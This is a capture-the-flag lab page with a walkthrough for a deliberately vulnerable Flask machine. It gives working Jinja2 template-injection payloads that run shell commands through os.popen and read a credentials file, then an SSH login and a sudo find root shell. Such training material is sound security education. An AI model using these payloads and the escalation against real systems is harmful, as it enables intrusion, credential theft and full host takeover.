πŸ€πŸ€πŸ€ 0 pts earned

Tempest

An internal reporting tool renders user-supplied report names directly into a Jinja2 template. The developer forgot that f-strings and template engines don't mix well β€” what goes in as a name can come out as root.

Machine online — 1ms (checked 10m ago)
Target IP Log in to reveal
User Flag Pending
Root Flag Pending

Premium

Walkthrough, Tips and Tricks

Walkthrough

Tempest Walkthrough

Overview

A Flask app on port 5000 passes raw user input into an f-string before calling
render_template_string(). This creates a Server-Side Template Injection (SSTI)
vulnerability. Successful exploitation yields RCE as the web app user, then
a sudo misconfiguration escalates to root.

Phase 1: Enumeration

  1. nmap -p 22,5000 <IP> β€” confirm SSH and Flask HTTP.
  2. Browse to http://<IP>:5000/ β€” ReportGen landing page.
    • Notice an HTML comment: <!-- TODO: move credentials out of /app/creds.ini -->
  3. Try http://<IP>:5000/report?name=test β€” user input reflected in response.

Phase 2: Confirm SSTI

  1. Try http://<IP>:5000/report?name={{7*7}}
    • If the page shows 49 instead of {{7*7}}, Jinja2 is evaluating the input.
  2. Confirm deeper: ?name={{config}} β€” dumps the Flask config dict.

Phase 3: Remote Code Execution

Use the Jinja2 globals chain to reach os.popen():

?name={{ cycler.__init__.__globals__['os'].popen('id').read() }}

Read the credential file hinted at in the HTML comment:

?name={{ cycler.__init__.__globals__['os'].popen('cat /app/creds.ini').read() }}

Returns:

[ssh]
user = labuser
pass = T3mpl4t3!

Phase 4: User Shell

  1. ssh labuser@<IP> β€” password T3mpl4t3!
  2. cat ~/user.txt β†’ user flag.

Phase 5: Privilege Escalation

  1. sudo -l β†’ reveals: NOPASSWD: /usr/bin/find
  2. GTFOBins payload for find:
    sudo find . -exec /bin/bash \; -quit
    
  3. cat /root/root.txt β†’ root flag.

Verification Checklist

  • {{7*7}} β†’ 49
  • creds.ini read via SSTI chain
  • SSH login as labuser
  • sudo find β†’ root shell
  • Both flags captured
Tips and Tricks
  • URL-encode curly braces if your browser strips them: %7B%7B7*7%7D%7D
  • If the payload returns a blank field, try wrapping it: {{ ''.__class__ }} to confirm Jinja2 access.
  • The creds.ini hint is in the page HTML source β€” always read source before jumping to brute force.
  • find GTFOBins: the -quit is important to exit find immediately after spawning bash.

Community

Community Walkthroughs

No community walkthroughs yet β€” be the first!

Log in to submit your own walkthrough.